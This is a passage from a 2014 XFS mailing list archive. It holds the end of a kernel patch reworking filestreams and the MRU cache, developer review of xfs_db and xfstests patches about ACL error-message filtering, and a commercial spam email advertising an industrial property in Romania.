*agp); - -/* filestreams for the inode? */ static inline int xfs_inode_is_filestream( struct xfs_inode *ip) { return (ip->i_mount->m_flags & XFS_MOUNT_FILESTREAMS) || - xfs_iflags_test(ip, XFS_IFILESTREAM) || (ip->i_d.di_flags & XFS_DIFLAG_FILESTREAM); } diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 3a137e9..f04df2e 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -845,11 +845,9 @@ xfs_ialloc( /* now we have set up the vfs inode we can associate the filestream */ if (filestreams) { - error = xfs_filestream_associate(pip, ip); - if (error < 0) - return -error; - if (!error) - xfs_iflags_set(ip, XFS_IFILESTREAM); + error = xfs_filestream_associate(pip); + if (error) + return error; } *ipp = ip; @@ -1587,16 +1585,6 @@ xfs_release( int truncated; /* - * If we are using filestreams, and we have an unlinked - * file that we are processing the last close on, then nothing - * will be able to reopen and write to this file. Purge this - * inode from the filestreams cache so that it doesn't delay - * teardown of the inode. - */ - if ((ip->i_d.di_nlink == 0) && xfs_inode_is_filestream(ip)) - xfs_filestream_deassociate(ip); - - /* * If we previously truncated this file and removed old data * in the process, we want to initiate "early" writeout on * the last close. This is an attempt to combat the notorious @@ -2552,15 +2540,6 @@ xfs_remove( if (error) goto std_return; - /* - * If we are using filestreams, kill the stream association. - * If the file is still open it may get a new one but that - * will get killed on last close in xfs_close() so we don't - * have to worry about that. - */ - if (!is_dir && link_zero && xfs_inode_is_filestream(ip)) - xfs_filestream_deassociate(ip); - return 0; out_bmap_cancel: diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 65e2350..9bbafdd 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -199,7 +199,6 @@ xfs_set_projid(struct xfs_inode *ip, #define XFS_ISTALE (1 << 1) /* inode has been staled */ #define XFS_IRECLAIMABLE (1 << 2) /* inode can be reclaimed */ #define XFS_INEW (1 << 3) /* inode has just been allocated */ -#define XFS_IFILESTREAM (1 << 4) /* inode is in a filestream dir. */ #define XFS_ITRUNCATED (1 << 5) /* truncated down so flush-on-close */ #define XFS_IDIRTY_RELEASE (1 << 6) /* dirty release already seen */ #define __XFS_IFLOCK_BIT 7 /* inode is being flushed right now */ @@ -215,8 +214,7 @@ xfs_set_projid(struct xfs_inode *ip, */ #define XFS_IRECLAIM_RESET_FLAGS \ (XFS_IRECLAIMABLE | XFS_IRECLAIM | \ - XFS_IDIRTY_RELEASE | XFS_ITRUNCATED | \ - XFS_IFILESTREAM); + XFS_IDIRTY_RELEASE | XFS_ITRUNCATED) /* * Synchronize processes attempting to flush the in-core inode back to disk. diff --git a/fs/xfs/xfs_mru_cache.c b/fs/xfs/xfs_mru_cache.c index 4aff563..c25db90 100644 --- a/fs/xfs/xfs_mru_cache.c +++ b/fs/xfs/xfs_mru_cache.c @@ -443,6 +443,7 @@ xfs_mru_cache_insert( void *value) { xfs_mru_cache_elem_t *elem; + int error; ASSERT(mru && mru->lists); if (!mru || !mru->lists) @@ -453,8 +454,8 @@ xfs_mru_cache_insert( return ENOMEM; if (radix_tree_preload(GFP_KERNEL)) { - kmem_zone_free(xfs_mru_elem_zone, elem); - return ENOMEM; + error = ENOMEM; + goto out_free_item; } INIT_LIST_HEAD(&elem->list_node); @@ -463,13 +464,20 @@ xfs_mru_cache_insert( spin_lock(&mru->lock); - radix_tree_insert(&mru->store, key, elem); + error = -radix_tree_insert(&mru->store, key, elem); radix_tree_preload_end(); + if (error) { + spin_unlock(&mru->lock); + goto out_free_item; + } _xfs_mru_cache_list_insert(mru, elem); spin_unlock(&mru->lock); return 0; +out_free_item: + kmem_zone_free(xfs_mru_elem_zone, elem); + return error; } /* @@ -506,21 +514,6 @@ xfs_mru_cache_remove( } /* - * To remove and element and call the free function, call xfs_mru_cache_delete() - * with the data store and the element's key. - */ -void -xfs_mru_cache_delete( - xfs_mru_cache_t *mru, - unsigned long key) -{ - void *value = xfs_mru_cache_remove(mru, key); - - if (value) - mru->free_func(key, value); -} - -/* * To look up an element using its key, call xfs_mru_cache_lookup() with the * data store and the element's key. If found, the element will be moved to the * head of the MRU list to indicate that it's been touched. diff --git a/fs/xfs/xfs_mru_cache.h b/fs/xfs/xfs_mru_cache.h index 36dd3ec..b3cf7a5 100644 --- a/fs/xfs/xfs_mru_cache.h +++ b/fs/xfs/xfs_mru_cache.h @@ -46,7 +46,6 @@ void xfs_mru_cache_destroy(struct xfs_mru_cache *mru); int xfs_mru_cache_insert(struct xfs_mru_cache *mru, unsigned long key, void *value); void * xfs_mru_cache_remove(struct xfs_mru_cache *mru, unsigned long key); -void xfs_mru_cache_delete(struct xfs_mru_cache *mru, unsigned long key); void *xfs_mru_cache_lookup(struct xfs_mru_cache *mru, unsigned long key); void xfs_mru_cache_done(struct xfs_mru_cache *mru); From david@fromorbit.com Tue Mar 11 17:51:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6627B7F3F for ; Tue, 11 Mar 2014 17:51:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 55C70304059 for ; Tue, 11 Mar 2014 15:51:49 -0700 (PDT) X-ASG-Debug-ID: 1394578307-04cbb054b62753a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id GtjsLiCfzDPnW4f2 for ; Tue, 11 Mar 2014 15:51:47 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvpnAOiSH1N5LJYePGdsb2JhbABagwaDRoUMtC+FWoEhFwMBAQEBHxkNKIIlAQEBBDocIxAIAxgJJQ8FJQMHGhOHeNEhFxaORgeDJIEUBJhEileLGCk Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 12 Mar 2014 09:21:46 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNVWR-0005yi-15; Wed, 12 Mar 2014 09:51:43 +1100 Date: Wed, 12 Mar 2014 09:51:43 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_db: hide debug bbmap output Message-ID: <20140311225142.GC6851@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_db: hide debug bbmap output References: <531F33F4.40707@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531F33F4.40707@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1394578307 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3801 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Mar 11, 2014 at 11:04:04AM -0500, Eric Sandeen wrote: > Most of xfsprogs building with DEBUG enables extra > checks, asserts, etc, but this bunch of printfs was > extra output that's not generally helpful for most > people's runtime experience - and it breaks xfs/290 > with all the noise. > > I assume it's for actual debugging use, and not > generally useful, so bury it a bit deeper under > it's own #ifdef. > > Signed-off-by: Eric Sandeen Just remove it, I think. It doesn't serve any real purpose anymore, and changing it to an obscure ifdef guarantees it'll never get used again... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Mar 11 17:54:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 965367F3F for ; Tue, 11 Mar 2014 17:54:20 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 910B38F8040 for ; Tue, 11 Mar 2014 15:54:20 -0700 (PDT) X-ASG-Debug-ID: 1394578458-04cb6c5677473390001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id QIRITMXV4yeo9ViY for ; Tue, 11 Mar 2014 15:54:18 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvtnAOiSH1N5LJYePGdsb2JhbABagwaDRoUMtC+FWoEhFwMBAQEBHxkNKIIlAQEBBDocIxAIAxUDCSUPBSUDBxoTh3jRIRcWjWJkB4MkgRQElFmDa5QdgVIpgSw Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 12 Mar 2014 09:24:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNVYu-0005zC-OD; Wed, 12 Mar 2014 09:54:16 +1100 Date: Wed, 12 Mar 2014 09:54:16 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno Message-ID: <20140311225416.GD6851@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno References: <531D7897.2030800@oracle.com> <20140310205305.GY6851@dastard> <531F0614.3050301@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531F0614.3050301@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1394578458 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3800 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Mar 11, 2014 at 08:48:20PM +0800, Jeff Liu wrote: > > On 03/11 2014 04:53 AM, Dave Chinner wrote: > > On Mon, Mar 10, 2014 at 04:32:23PM +0800, Jeff Liu wrote: > >> From: Jie Liu > >> > >> Update the golden output to match the recently XFS return errno > >> changes if hit the limits of maximum number of ACLs. > >> > >> Signed-off-by: Jie Liu > >> --- > >> tests/shared/051.out | 2 +- > >> 1 file changed, 1 insertion(+), 1 deletion(-) > >> > >> diff --git a/tests/shared/051.out b/tests/shared/051.out > >> index a871082..354ec6a 100644 > >> --- a/tests/shared/051.out > >> +++ b/tests/shared/051.out > >> @@ -280,7 +280,7 @@ mask::rwx > >> other::rwx > >> > >> 1 above xfs acl max > >> -chacl: cannot set access acl on "largeaclfile": Invalid argument > >> +chacl: cannot set access acl on "largeaclfile": Argument list too long > > > > That breaks the test on older kernels. Can you add a filter that > > kills the "Invalid argument"/"Argument list too long" part of the > > error message so the same golden output works for old and new > > kernels? > > How about the following revised version? maybe I missed you comments of "kills the...". > > Thanks, > -Jeff > > > From: Jie Liu > > On old kernel we return EINVAL if hit the limits of maximum number of > ACLs but return E2BIG on new kernel, which cause the current test fails > on new kernel as the output is mismatch to the goldens. In order to make > the current golden output works for both old and new kernels, this patch > filter the new error message out to match the olds. > > Signed-off-by: Jie Liu > --- > tests/shared/051 | 5 ++++- > 1 file changed, 4 insertions(+), 1 deletion(-) > > diff --git a/tests/shared/051 b/tests/shared/051 > index e957f86..157eb9c 100755 > --- a/tests/shared/051 > +++ b/tests/shared/051 > @@ -342,7 +342,10 @@ chacl $acl2 largeaclfile > getfacl --numeric largeaclfile | _filter_aces > > echo "1 above xfs acl max" > -chacl $acl3 largeaclfile > +# we return E2BIG if hit the max acl limits on new kernel, but EINVAL > +# on old kernel. So we need to filter the error message out in order > +# to make the current golden output works for both old and new kernels. > +chacl $acl3 largeaclfile 2>&1 | sed -e "s/Argument list too long/Invalid argument/" > getfacl --numeric largeaclfile | _filter_aces Good, but normally that's done like: # we return E2BIG if hit the max acl limits on new kernel, but EINVAL # on old kernel. So we need to filter the error message out in order # to make the current golden output works for both old and new kernels. _filter_largeacl() { sed -e "s/Argument list too long/Invalid argument/" } .... chacl $acl3 largeaclfile 2>&1 | _filter_largeacl Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Tue Mar 11 21:03:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A350F7F3F for ; Tue, 11 Mar 2014 21:03:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A61F530406A for ; Tue, 11 Mar 2014 19:03:13 -0700 (PDT) X-ASG-Debug-ID: 1394589789-04cb6c5678484ad0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id F34FhOdrgRN5FqBc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Mar 2014 19:03:10 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s2C23849007587 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 12 Mar 2014 02:03:09 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2C2379w022588 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 12 Mar 2014 02:03:08 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2C237EE002707 for ; Wed, 12 Mar 2014 02:03:07 GMT Received: from [192.168.1.102] (/112.237.70.90) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 11 Mar 2014 19:03:07 -0700 Message-ID: <531FC057.70804@oracle.com> Date: Wed, 12 Mar 2014 10:03:03 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2] xfstests: shared/051: add filter to match the golden output for large acls Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2] xfstests: shared/051: add filter to match the golden output for large acls Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1394589790 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3803 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu On old kernel we return EINVAL if hit the limits of maximum number of ACLs but return E2BIG on new kernel, which cause the current test fails on new kernel as the output is mismatch to the goldens. In order to make the current golden output works for both old and new kernels, this patch filter the new error message out to match the olds. Signed-off-by: Jie Liu --- V2: make the filter as a local function as per Dave's comments tests/shared/051 | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/tests/shared/051 b/tests/shared/051 index e957f86..adbe427 100755 --- a/tests/shared/051 +++ b/tests/shared/051 @@ -318,6 +318,14 @@ chacl m:user1:rwx file1 chacl a::rwx file1 set +x +# we return E2BIG if hit the max acl limits on new kernel, but EINVAL +# on old kernel. So we need to filter the error message out in order +# to make the current golden output works for both old and new kernels. +_filter_largeacl() +{ + sed -e "s/Argument list too long/Invalid argument/" +} + #------------------------------------------------------- echo "" @@ -342,7 +350,7 @@ chacl $acl2 largeaclfile getfacl --numeric largeaclfile | _filter_aces echo "1 above xfs acl max" -chacl $acl3 largeaclfile +chacl $acl3 largeaclfile 2>&1 | _filter_largeacl getfacl --numeric largeaclfile | _filter_aces echo "use 16 aces" -- 1.8.3.2 From BATV+c8894738c8e88e1f342e+3853+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 12 05:32:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 834B47F50 for ; Wed, 12 Mar 2014 05:32:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B3EF8F8078 for ; Wed, 12 Mar 2014 03:32:33 -0700 (PDT) X-ASG-Debug-ID: 1394620351-04bdf05dac4c6330001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id in4tySs6msK2xQY0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Mar 2014 03:32:31 -0700 (PDT) X-Barracuda-Envelope-From: BATV+c8894738c8e88e1f342e+3853+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WNgSc-00015s-Vk; Wed, 12 Mar 2014 10:32:30 +0000 Date: Wed, 12 Mar 2014 03:32:30 -0700 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2] xfstests: shared/051: add filter to match the golden output for large acls Message-ID: <20140312103230.GA4167@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: shared/051: add filter to match the golden output for large acls References: <531FC057.70804@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531FC057.70804@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394620351 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3812 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > +# we return E2BIG if hit the max acl limits on new kernel, but EINVAL > +# on old kernel. So we need to filter the error message out in order > +# to make the current golden output works for both old and new kernels. Hate to nitpick, but shouldn't the new one be in the golden output and the old one fixed up? From t-bounce-8c37fe0e-a9d2-11e3-8080-808080808080-xfs=oss.sgi.com@bzn-host.eu Wed Mar 12 05:39:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,HTML_MESSAGE, T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A908D7F52 for ; Wed, 12 Mar 2014 05:39:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41E58AC003 for ; Wed, 12 Mar 2014 03:39:36 -0700 (PDT) X-ASG-Debug-ID: 1394620772-04cbb054b729df30001-NocioJ Received: from send1.bzn-host.eu (send1.bzn-host.eu [37.235.56.36]) by cuda.sgi.com with ESMTP id EMOpQrzrJ7aUf8kD for ; Wed, 12 Mar 2014 03:39:32 -0700 (PDT) X-Barracuda-Envelope-From: t-bounce-8c37fe0e-a9d2-11e3-8080-808080808080-xfs=oss.sgi.com@bzn-host.eu X-Barracuda-Apparent-Source-IP: 37.235.56.36 Subject: Price Reduction - Industrial property for sale in Romania DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=bzn-host.eu; s=default; t=1394620857; bh=s72S+FGMaN/ghXmUKLcPqJ/++xFLrtBBLX50K4+KJ4w=; h=List-Unsubscribe:From:Reply-To:To:Date:From; b=sHbGlcYv8WHAleYdxYs38FP/EIfVcShCFOgNVCtbxBkdmmfJ4MsAMFjjgXvuyrWFc B6MmVOxEesb8egv/Ymv8kGdjz2XJxgSSlXHHlh40ITsNHLfskSGwuoAjUMmJxfQvik fzsRkiTh+ABdRD09TF+Evpp2dGEaACQ8ouRK5kNw= X-ASG-Orig-Subj: Price Reduction - Industrial property for sale in Romania X-Priority: 3 Content-Type: multipart/alternative; boundary="===============0048688027373013578==" MIME-Version: 1.0 Message-Id: <20140312103911.85913.8c37fe0e-a9d2-11e3-8080-808080808080.crbrmail@bzn-host.eu> List-Unsubscribe: From: office@business-romania.net Reply-To: office@business-romania.net To: xfs@oss.sgi.com Date: Wed, 12 Mar 2014 10:39:11 -0000 Sender: office@business-romania.net X-Barracuda-Connect: send1.bzn-host.eu[37.235.56.36] X-Barracuda-Start-Time: 1394620772 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085b, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3812 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.40 BSF_SC0_SA085b Custom Rule SA085b --===============0048688027373013578== Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable [1]: http://www.business-romania.net/ # Price Reduction - Industrial property for sale in Romania Dear Sirs, We are sending this email to get to your attention a property, on sale in Romania, that can be ideal for opening a deposit, a production facility or a big showroom. It is a Former Factory near Comanesti city at approximately 200 km from Moldavian border and 300 km from Bucharest, with good roads leading both to Moldavia and to Bucharest. The property consist of: 1/ 49.200 sqm of land 2/ 10.000 sqm of industrial hall 3/ 1.600 sqm of warehouses 4/ 2.200 sqm of office building The total of 49.201 sqm of land is situated at entering in Comanesti city with 3 ways of access, at 100 m from the DN12 Bacau - Brasov road and at 50 km from the European road E85. Industrial hall of 10.000 sqm has a medium height of 10 m, and on the ground it is concrete. 4 Warehouses each of 400 sqm with a total of 1.600 sqm, on the ground is concrete Office building on 3 levels with 740 sqm on each level that contains: - 12 offices / level - conference center(cafeteria) with 600 sqm - 3 rooms fully fitted to living with wood on the ground - 7 bathrooms All the buildings were built in the early 70a=E2=82=AC=E2=84=A2. Comanesti is a city with a population of 24.000 inhabitants, the nearest airport is in Bacau city at approximately 55 km. The main cities nearby are Bacau (175.000 inhabitants), Piatra Neamt (106.000 inhabitants), Focsani (98.000 inhabitants). The railway tracks are at 150 m from the property and the national road that leads to it is in very good condition(recently rebuilt). The property is outside of city and doesna=E2=82=AC=E2=84=A2t need any non-pollution certif= icates, is connected TP the mains(the transforming station is inside the former factory), being fully operational, installed power 1000 KW. For new building permits you can talk directly with the local authorities for all the approvals needed. PRICE: 1 mill Eur Looking forward to your answer. Best Regards, Catalin Rusu Rusu E Catalin PFA Sos Nicolina nr 40, 700687 - IASI ROMANIA VAT 30548758 F22/2172/14.08.2012 Mobile: +40 735 886 201 Fax: +40 372 877 165 ceo@businesses-properties.com office@business-romania.net www.businesses-properties.com www.business-romania.net This is an informing email and it shouldn\' t be spam. If you don\' t want to receive emails from business-romania.net send a reply to this email with the message DELETE or click the link at the bottom of this email. If you no longer wish to receive messages from us please click the link below, or copy and paste it in your browser: http://tr.bzn-host.eu/tr/u/0312sb6kqmYRNhWBd2bJRjKfPW14 --===============0048688027373013578== Content-Type: text/html; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable

Price Redu= ction - Industrial property for sale in Romania


Dear Sirs,




We are sending this email to get to your attention a property, on sale in R= omania, that can be ideal for opening a deposit, a production facility or a= big showroom.

It is a Former Factory near Comanesti city at approximately 200 km from Mol= davian border and 300 km from Bucharest, with good roads leading both to Mo= ldavia and to Bucharest.

The property consist of:

1/ 49.200 sqm of land

2/ 10.000 sqm of industrial hall

3/ 1.600 sqm of warehouses

4/ 2.200 sqm of office building

The total of 49.201 sqm of land is situated at entering in Comanesti city = with 3 ways of access, at 100 m from the DN12 Bacau - Brasov road and at 50= km from the European road E85.

Industrial hall of 10.000 sqm has a medium height of 10 m, and on the grou= nd it is concrete.

4 Warehouses each of 400 sqm with a total of 1.600 sqm, on the ground is co= ncrete

Office building on 3 levels with 740 sqm on each level that contains:
- 12 offices / level
- conference center(cafeteria) with 600 sqm
- 3 rooms fully fitted to living with wood on the ground
- 7 bathrooms

All the buildings were built in the early 70=C3=A2=E2=82=AC=E2=84=A2.
Comanesti is a city with a population of 24.000 inhabitants, the nearest ai= rport is in Bacau city at approximately 55 km.

The main cities nearby are Bacau (175.000 inhabitants), Piatra Neamt (106.0= 00 inhabitants), Focsani (98.000 inhabitants).

The railway tracks are at 150 m from the property and the national road tha= t leads to it is in very good condition(recently rebuilt). The property is = outside of city and doesn=C3=A2=E2=82=AC=E2=84=A2t need any non-pollution c= ertificates, is connected TP the mains(the transforming station is inside t= he former factory), being fully operational, installed power 1000 KW.
For new building permits you can talk directly with the local authorities f= or all the approvals needed.


PRICE: 1 mill Eur


Looking forward to your answer.




Best Regards,
Catalin Rusu


Rusu E Catalin PFA
Sos Nicolina nr 40, 700687 - IASI
ROMANIA
VAT 30548758
F22/2172/14.08.2012

Mobile: +40 735 886 201
Fax: +40 372 877 165
ceo@businesses-properties.com
office@business-romania.net
www.businesses-properties.com
www.business-romania.net



This is an informing email and it shouldn\' t be spam. If you don\' t want = to receive emails from business-romania.net send a reply to this email with= the message DELETE or click the link at the bottom of this email.

If you no longer wish to receive messages from us please click the link bel= ow, or copy and paste it in your browser:
http://tr.bzn-host.eu/tr/u/0312sb6kqmYRNhWBd2bJRjKfPW14



=C2=A0
